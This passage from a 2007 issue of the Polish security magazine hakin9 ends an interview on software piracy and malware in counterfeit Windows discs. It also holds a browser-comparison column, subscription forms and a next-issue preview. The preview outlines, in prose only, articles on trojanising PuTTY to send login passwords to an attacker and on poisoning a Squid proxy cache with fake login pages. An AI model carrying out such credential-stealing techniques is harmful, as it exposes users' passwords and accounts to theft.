nie  dobrze  nie  tylko  u  nas.  Efekty  tego  są  jak  najbar-
dziej  pozytywne,  stąd  obecnie  tego  rodzaju  komuni-
katy  może  spotkać  użytkownik  każdej  wersji  języko-
wej na całym świecie. Z pewnością z jednej strony pod-
nosi to popyt na licencjonowane systemy operacyjne, z 
drugiej zaś przekłada się na bezpieczeństwo użytkow-
ników.  Musimy  pamiętać  o  tym,  że  piractwo  czy  pira-
ci to już dziś nie to samo, co początki tego zjawiska w 
odniesieniu  do  oprogramowania  komputerowego.  Co-
raz  więcej  dostawców  nielegalnego  oprogramowania 
to przestępcy bądź grupy przestępcze. Analizy nośni-
ków czy oprogramowania ściąganego nielegalnie z In-
ternetu  wykazują,  że  w  nieświadomy  sposób  naraża-
my  się  na  ogromne  niebezpieczeństwo.  Czynimy  tak, 
instalując  programy  niewiadomego  pochodzenia,  po-
nieważ  w  dużej  mierze  są  to  programy,  do  których  w 
sposób  zamaskowany  dołączane  są  różnego  rodzaju 
złośliwe  kody,  niechciane  aplikacje,  programy  szpie-
gowskie, wirusy i konie trojańskie. Może to prowadzić 
do  przejęcia  kontroli  nad  komputerem  nieświadome-
go  użytkownika,  który  chciał  zaoszczędzić,  sięgając 
po oprogramowanie z niepewnego źródła. Korzystając 
z okazji, chciałbym też przestrzec użytkowników aukcji 

internetowych, bo z jednej strony badania ogólnoświa-
towe,  które  głównie  skoncentrowały  się  na  aukcjach 
portalu  E-bay,  wykazują,  że  szansa  na  zakup  orygi-
nalnego oprogramowania Microsoft jest tu mniejsza niż 
50%.  A  zatem  cała  reszta  oferowanych  tu  produktów 
(ponad połowa tego typu oprogramowania) jest podro-
biona  bądź  piracka.  W  przypadku  polskich  portali  au-
kcyjnych muszę przyznać, że od paru tygodni przeży-
wamy wręcz oblężenie związane z tzw. usługą identyfi-
kacji produktu. Otóż kilka lat temu, w związku z pojawie-
niem się dobrej jakości podróbek, tzn. takich, gdzie na-
bywca mógł sądzić, że kupuje produkt oryginalny, uru-
chomiliśmy  wspomniany  serwis  identyfikacji  produktu. 
Osoba, która ma podejrzenie, że została w ten sposób 
oszukana, może zwrócić się do nas w sposób określony 
na stronie internetowej i po spełnieniu określonych wa-
runków ma szansę otrzymać oryginalny pakiet. I tak jak 
powiedziałem, w tej chwili przeżywamy niemal oblęże-
nie, nie ma dnia, abyśmy nie otrzymali skarg bądź prze-
syłek od klientów, którzy kupują niestety głównie na Al-
legro, ale nie tylko. Kupują oni często na aukcjach in-
ternetowych oprogramowanie, które według zapewnień 
dostawców  jest  w  100%  oryginalne,  instaluje  się  na 
wszystkich  komputerach  etc.  Później  okazuje  się  jed-
nak, że klienci mają do czynienia ze wspomnianymi ko-
munikatami, co dalej skutkuje tym, że mają zablokowa-
ny dostęp do pewnych uaktualnień, do pełnych korzyści 
płynących z oryginalnego systemu operacyjnego. Skala 
tego zjawiska świadczy o tym, że wspomniane już gru-
py przestępców, bo trudno ich wciąż nazywać roman-

tycznymi piratami, w coraz większym stopniu opanowu-
ją ten rynek – nie do końca oficjalny. Mamy do czynie-
nia np. z podróbkami polskiej wersji językowej systemu 
Windows  XP  Professional.  Przestrzegam  przed  zaku-
pem wersji dedykowanych do producentów konkretnych 
komputerów, takich jak Dell, Fujitsu-Siemens, Optimus. 
Takie  pakiety  łatwiej  jest  podrobić  niż  płyty  Microso-
ftu opatrzone hologramem na całej powierzchni. Mogę 
już niestety z całą pewnością stwierdzić, że wśród tych 
ofert duża część dotyczy podróbek. A skutkuje to tym, 
co  już  powiedziałem,  że  albo  klient  nie  może  w  ogó-
le zainstalować takiego programu na swoim kompute-
rze, albo po pewnym czasie w wyniku weryfikacji ory-
ginalności systemu okazuje się, że ma odcięty dostęp 
do pewnych uaktualnień, pewnych ofert dostępnych dla 
użytkowników licencjonowanych systemów.

h9:

 Co się dzieje z osobami, u których wykryto niele-

galne oprogramowanie tj. jeżeli są nakładane kary finan-
sowe, to jakiego rzędu i czy za starsze wersje systemów 
są nakładane inne/niższe kary?

KJ:

  Absolutnie  nie!  Nie  prowadzimy  tzw.  polityki  re-

presyjnej.  Jedyne,  co  możemy  zrobić,  to  odcięcie  użyt-
kowników nielegalnego oprogramowania od pewnych ko-
rzyści. Nie prowadzimy, nie inicjujemy ani nie wnioskuje-
my o wszczęcie postępowań wobec użytkowników indy-
widualnych.  Przedstawiciele  pokrzywdzonych,  czyli  tak 
naprawdę  BSA,  organizacja  która  reprezentuje  interesy 

background image

Wywiad

hakin9 Nr 8/2007

www.hakin9.org

77

Microsoft Corporation i innych światowych producentów 
oprogramowania  składa  wnioski  o  ściganie  wtedy,  kie-
dy mamy doczynienia z przestępstwem na większą ska-
lę. Dzieje się tak np. wtedy, gdy jest to firma, która na kil-
kudziesięciu stanowiskach używa nielegalnego oprogra-
mowania  pochodzącego  od  różnych  producentów  bądź 
są to osoby, które rozpowszechniają nielegalne oprogra-
mowanie. 

h9:

 Jak się układa współpraca Microsoftu z policją/

służbami,  które  mają  zwalczać  nielegalne  oprogramo-
wanie?

KJ:

 Ta współpraca ma charakter trwały i stały od wie-

lu lat. Wymieniamy się informacjami, udostępniamy policji 
informacje na temat tego, w jaki sposób odróżniać opro-
gramowanie oryginalne od podrobionego, w jaki sposób 
odróżniać oprogramowanie legalne od nielegalnego. Jest 
to wiedza, która wymaga stale uaktualnienia, w związku 
z tym konsekwentnie organizujemy szkolenia dla policji, 
dla służb celnych. Czasami bierzemy też udział w semi-
nariach dla prokuratorów i sędziów. 

h9:

 Jaki jest poziom wiedzy dotyczący technologii so-

ftware' owych w policji?

KJ:

  Powiedziałbym,  że  jest  coraz  wyższy,  czasami 

nawet zaskakująco wysoki. No cóż, wypada jedynie po-
gratulować tym ludziom, którzy pracują w policji i są świet-
nymi znawcami różnych tajników nowych technologii.

h9:

 Jak wygląda poziom piractwa na świecie ? Na ja-

kim miejscu plasuje się Polska?

KJ:

 Jeśli chodzi o Europę, jesteśmy gdzieś w środ-

ku, – skala europejska to 34%. – tutaj też mamy jedno-
procentowy spadek. W Polsce wartość ta wynosi 57%. 
Na świecie, o ile dobrze pamiętam, średnia znajduje się 
gdzieś  w  okolicach  35%  –  także  tutaj  Polska  znajduje 
się zatem w peletonie, w grupie środkowej. Nie jesteśmy 
ani liderami, ani też nie plasujemy się na samym końcu 
tej niechlubnej klasyfikacji. Jeśli zaś chodzi o samą Eu-
ropę, to tutaj wypadamy dużo gorzej. Jeżeli weźmiemy 
pod uwagę jedynie kraje Unii Europejskiej, to niewiele 
z nich może się poszczycić większym osiągnięciem niż 
owe 57%. Jedynie Grecja, Rumunia i Bułgaria, czyli je-
den ze starszych członków wspólnoty i dwa nowe w jej 
strukturach  państwa  wyprzedzają,  nas  w  tej  niechlub-
nej klasyfikacji.

h9:

 Jakie są prognozy dotyczące piractwa kompute-

rowego w Polsce i na świecie na najbliższe 10 lat?

KJ:

  Biorąc  pod  uwagę  wszelkie  uwarunkowania 

ekonomiczne,  a  nawet  i  sportowe  (  przyznanie  Pol-
sce  i  Ukrainie  organizacji  Euro  2012)  oraz  trendy  ryn-
kowe, wydaje mi się, że można być optymistą. Przewi-
duję, że będziemy mieli tutaj do czynienia ze stałą ten-
dencją spadkową. Na ile ten spadek będzie dynamiczny, 
naprawdę trudno prorokować, ale wydaje mi się, że je-
steśmy na dobrej drodze. Na pewno nie jesteśmy w sy-
tuacji, w której możemy wpaść w samozachwyt i włożyć 
ręce  do  kieszeni.  Pracy  wciąż  jest  bardzo  dużo.  Fakt, 
że grubo ponad połowa oprogramowania używanego w 
Polsce to wciąż oprogramowanie nielegalne powoduje, 

że musimy ciężko pracować nad tym, by zmienić wize-
runek Polski w Europie i świecie. Pamiętajmy o tym, że 
kraje, w których własność intelektualna nie jest szano-
wana są mimo wszystko mało atrakcyjne dla potencjal-
nych inwestorów. Owszem w Polsce mamy do czynie-
nia z coraz większą aktywnością inwestorów zagranicz-
nych,  ale  mogę  z  całym  przekonaniem  stwierdzić,  że 
gdyby owo poszanowanie własności intelektualnej było 
u nas większe, to i przypływ inwestycji byłby dużo bar-
dziej  odczuwalny.  Przekłada  się  to  bezpośrednio  i  po-
średnio na poziom życia nas wszystkich. Są to bowiem 
nowe miejsca pracy oraz pokaźne pieniądze, które po-
jawiają się na naszym rynku i przepływają przez kiesze-
nie obywateli, a także znaczne sumy trafiające do bu-
dżetu. To wszystko w efekcie ma decydujący wpływ na 
nasz poziom życia. Wypada więc tylko tę tendencję pod-
trzymać. 

Należy  starać  się,  żeby  poszanowanie  własności  in-

telektualnej  było  przynajmniej  zbliżone  do  poszanowa-
nia  własności  dóbr  materialnych.  Jeżeli  kogokolwiek  na 
ulicy zapytamy, czy kradzież roweru czy samochodu jest 
naganna, to podejrzewam, że grubo ponad 90% zapyta-
nych odpowie, że tak. Jeśli jednak zapytamy, czy ściąga-
nie  nielegalnych  plików  z  Internetu  albo  kupowanie  płyt 
na  bazarze  jest  akceptowalne,  to  obawiam  się,  że  przy-
najmniej połowa z nich może mieć poważne wątpliwości 
bądź wręcz stwierdzić, że to nic nagannego. To jest chy-
ba wciąż pokłosie życia w minionym już systemie komuni-
stycznym, gdzie radzenie sobie z różnego rodzaju zakaza-
mi było przejawem niemalże inteligencji, sprytu, zaradno-
ści, a kwestie moralne nie miały wtedy większego znacze-
nia. W tej chwili wygląda to jednak inaczej. Krótko mówiąc, 
warto być uczciwym. 

Na  zakończenie  chciałbym  podać  do  wiadomości 

pewną ciekawostkę. W momencie, kiedy miała miejsce 
premiera systemu Windows Vista i pakietu Microsoft Of-
fice 2007 (był to dzień 31 stycznia), a nawet dzień wcze-
śniej we wszystkich prawie mediach pojawiły się infor-
macje, że na stadionie 10-lecia taką Vistę można kupić 
za bodajże 70 złotych. Poprosiłem o zakup takich wer-
sji stadionowych. Kilka sztuk udało się zakupić na sta-
dionie 10-lecia i na bazarze w Gdańsku. Wysłaliśmy te 
płyty  do  laboratoriów  analitycznych  Microsoftu  w  Sta-
nach Zjednoczonych. Okazało się, że przynajmniej na 
dwóch płytach z systemem Windows Vista znajdowały 
się dodatkowe kody, które powodowały w sposób zupeł-
nie  niezauważalny  dla  użytkownika  otwieranie  portów 
i  łączenie  się  z  jednym  z  serwerów  za  granicą.  Czym 
to  grozi?  Czym  to  skutkuje?  Może  to  zagrozić  przeję-
ciem  danych  z  naszego  komputera  czy  wręcz  przeję-
ciem  kontroli  nad  nim.  Jakie  są  tego  efekty?  Mieliśmy 
już np. kilka przypadków oczyszczenia kont bankowych. 
Nawet dzisiaj czytałem o kolejnych tego typu przestęp-
czych przedsięwzięciach, czyli pozyskiwaniu numerów 
kart bankowych, kodów PIN, haseł bankowych.

h9: 

Dziękujemy za rozmowę.

KJ: 

Dziękuję.

background image

hakin9 Nr 8/2007

www.hakin9.org

78

Felieton

J

ak możemy się przekonać, od jakiegoś czasu temat 
przeglądarek jest kwestią sporną na wielu forach, 
kanałach  irc  bądź  grupach  dyskusyjnych.  Najwię-

cej  uwagi  przykłada  się  zwłaszcza  do  bezpieczeństwa 
tego typu aplikacji.

Jest powszechnie wiadome, i nikt tego nie ukrywa, że 

to IE jest tutaj najsłabszym ogniwem. Już dlatego, że użyt-
kownicy muszą bardzo długo czekać na poprawki, ewen-
tualnie na nowe wersje. Od czasu, kiedy na rynek zaczę-
ły powoli wchodzić inne przeglądarki, producenci IE podję-
li z nimi swoisty wyścig zbrojeń. Niestety kłopoty korpora-
cji Microsoft na tym się nie zakończyły. Do dziś dnia pozo-
staje bowiem ciągle aktualna konieczność walki z hakera-
mi. To przez nich jest znajdywana i łatana większość dziur 
w przeglądarkach, systemach czy też pojedyńczych pro-
gramach. Ile to już spotkać można było haseł ośmieszają-
cych IE? Zepsuj Windowsa za pomocą Internet Explorera 
hacking.plPublicznie dostępny kod wykorzystujący lukę 

w IE, na którą nie ma łaty - Computerworld, Dziurawa prze-

glądarka gorsza od wirusa - Gazeta.pl i wiele, wiele innych. 
Ludzie bardzo niechętnie podchodzą już teraz do przeglą-
darki windowsowej, a jeśli ktoś wypowie się na forum o IE 
w  przyjazny  sposób,  zostaje  często  wyśmiany.  Jaka  jest 
więc cena bezpieczeństwa?

O  wiele  bezpieczniejszą  przeglądarką  jest  Opera,  do 

której  bardzo  się  przywiązałem.  Oczywiście  czytający 
może  powiedzieć:  Zaraz,  przecież  to  Firefox  jest  najlep-

szy. I tu właśnie jest pies pogrzebany. Nigdy nie znajdzie-
my przeglądarki idealnej. Ale teraz nie o tym. Opera to nie 
tylko przeglądarka. Dzięki wbudowanemu klientowi poczty 
i irc zastępuje dwa następne programy. Co jeszcze oferu-
je ona swoim użytkownikom? Opera jest przeglądarką nie-
wielkich rozmiarów, a posiada komplet funkcji potrzebnych 
do wygodnego poruszania się w Internecie. Ważny jest też 
czas  oczekiwania  na  następne  wersje  bądź  łaty.  Między 
wersją 9.10 a 9.20 nie minęło więcej niż 4 miesiące. Co za 
tym idzie my, użytkownicy owego programu, mamy szero-
ki wybór i poczucie bezpieczeństwa. Głównym rywalem IE 
jest Firefox. IE ciągle jest na topie za sprawą ludzi o małych 
wymaganiach. Dla nich nie liczy się bezpieczeństwo. Myślą 
tylko o tym, aby przeglądać strony. Nie dostrzegają piękna 
w innych przeglądarkach, ponieważ albo nie mają pojęcia 
o ich istnieniu, albo boją się zmian.

Przeglądarki – temat tabu

Firefox jest przeglądarką o lekkim interfejsie, ale potęż-

nych możliwościach. Ten lisek zdobył już wielu zwolenników 
i ciągle przybywają nowi. Czemu program to zawdzięcza? 
Standard  to  np.  blokowanie  pop-upów,  czyli  uciążliwych 
reklam. Taką blokadę posiada już niemal każda przeglądar-
ka, co znacznie umila pracę w Sieci. Następnym ciekawym 
dodatkiem jest ostrzeganie przed stronami podszywający-
mi się pod strony np. banku. Dzięki temu jesteśmy o wiele 
mniej podatni na ataki typu phishing.

Przedstawię  jeszcze  jedną  przeglądarkę,  jaką  jest 

Konqueror. Jest to przeglądarka, jaka adresowana jest do 
użytkowników Linuksa. Pierwotnie był to menedżer plików, 
ale  z  czasem  został  on  zamieniony  w  przeglądarkę  inter-
netową.  Jeżeli  chodzi  o  unowocześnienia  techniczne,  nie 
znajdziemy w nim niczego, zapierającego dech w piersiach. 
Standardowa oprawa graficzna bazująca na KDE oraz pod-
stawowe opcje przeglądania. Ciekawe jest jednak to, że pro-
gram ów umożliwia przeglądanie plików pdf oraz odtwarza-
nie filmów. Nie ma tu potrzeby mówić tutaj o bezpieczeń-
stwie, bo to w końcu przeglądarka pod Linuksa, więc...

Jak  napisałem  wcześniej,  kwestia  wyboru  odpo-

wiedniej  przeglądarki  jest  ciągle  tematem  spornym  i  to 
bardzo. Wyobraźmy sobie, co działoby się, gdyby wszy-
scy korzystali z jednego IE albo jednego Firefoksa? Byłby 
to monopol, jakich mało, a w dodatku nie występowałoby 
tutaj, jakże piękne zróżnicowanie. Ponadto, dzięki silnej 
konkurencji,  firmy  motywują  się  do  wydawania  nowych 
wersji, ulepszania swoich produktów oraz wypuszczania 
na rynek coraz to bezpieczniejszych przeglądarek. Użyt-
kownicy nie patrzą już tylko na bezpieczeństwo gwaran-
towane  im  przez  Microsoft  lub  inne  firmy.  Podstawową 
cechą  przyciągającą  kolejne  zastępy  zwolenników  pro-
gramu jest także grafika, dodatki, widżety itp.

Oczywiście istnieje jeszcze wiele, wiele innych prze-

glądarek,  które  dopiero  wchodzą  na  rynek  i  zapozna-
ją się z jego zasadami. Nie wszystkie jednak przetrwa-
ją, pozostaną tylko najsilniejsi. Jak wiemy, cztery wymie-
nione  przeglądarki  przewodzą  w  wyścigu  po  uznanie 
odbiorców. Z sondaży wynika, że Firefox zaczyna stawać 
się coraz bardziej popularny, ale czy nie stanie się z nim 
tak samo jak z IE? Czy nie zejdzie na przysłowiowe psy? 
Jaka przyszłość czeka przeglądarki? Na odpowiedzi na 
te pytania, przyjdzie nam jeszcze poczekać.

Patryk Szlagowski patrykuss@haes-squad.net

background image

Tytuł

Ilość numerów 

w roku

Ilość zamawianych 

prenumerat

Od numeru pisma 

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy  zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe                      

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 

lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, 

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma 

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo: 

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku września 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 9/2007 

w następnym numerze 

między innymi:

Zapowiedzi

Modyfikacja kodu binarnego

Artykuł omawia jak dokonać zmian w kodzie binarnym tak, aby obrany na cel pro-
gram wykonywał dopisany kod. Tekst jest oparty na realnym przykładzie – uka-
zując jak zmodyfikować popularnego klienta usługi SSH 'PuTTY', w taki sposób, 
aby program w czasie logowania na zdalny serwer przesyłał hasła (wpisywa-
ne przez użytkowników) również do nas (pod wskazany adres). Jest to realne 
zagrożenie – nieświadomy użytkownik korzystając z programów w publicznych 
miejscach jak kafejka internetowa, biblioteka studencka itp. może paść ofiarą 
takich działań. Autor przeprowadza Czytelnika przez cały proces modyfikacji 
aplikacji PuTTY – ukazując śledzenie kodu wykonywalnego, pisanie dodatkowej 
funkcji przechwytującej hasła, aż po końcową modyfikację aplikacji.

Niebezpieczeństwo serwerów 

pośredniczących PROXY

Artykuł  przedstawia  jak  włamywacz,  który  znalazł  błąd  w  serwerze  WWW, 
może  wpływać  na  pamięć  podręczną  (tzw.  cache)  serwera  proxy.  Modyfiku-
jąc strony, zawarte w tej pamięci (są to strony, z których korzystają użytkowni-
cy serwera) atakujący jest w stanie pozyskiwać krytyczne informacje. I tak, np. 
włamywacz jest w stanie utworzyć zmodyfikowaną stronę logowania na skrzyn-
kę pocztową, bloga, konto aukcyjne, konto bankowe itp. – do złudzenia podob-
ną do tej prawdziwej, w ten sposób niczego nieświadomy użytkownik po wpisa-
niu hasła – prześle je nie tylko do prawowitego serwera, ale również do włamy-
wacza. Temat ten opiera się na serwerze SQUID, w systemie linux. Opisuje krok 
po kroku jak przeprowadzić taki atak – spreparować daną stronę, umieścić ją w 
pamięci cache itd. Tak aby ostatecznie pozyskać wspomniane hasła do stron.

Tęczowe tablice – łamanie haseł

Tęczowe  tablice  to  baza  skrótów  wykorzystywana  w  łamaniu  haseł  kodo-
wanych jednokierunkową funkcją skrótu. Pozwala na zaoszczędzenie mocy 
obliczeniowej koniecznej do złamania hasła metodą  brute force. Artykuł ma 
na celu pokazać jak się bronić przed tego typu łamaniem haseł.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa;
•   mnóstwo narzędzi – niezbędnik hakera;
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach;
•   dodatkowa dokumentacja;
•   pełne wersje komercyjnych aplikacji.

Atak

Obrona

Atak

background image
background image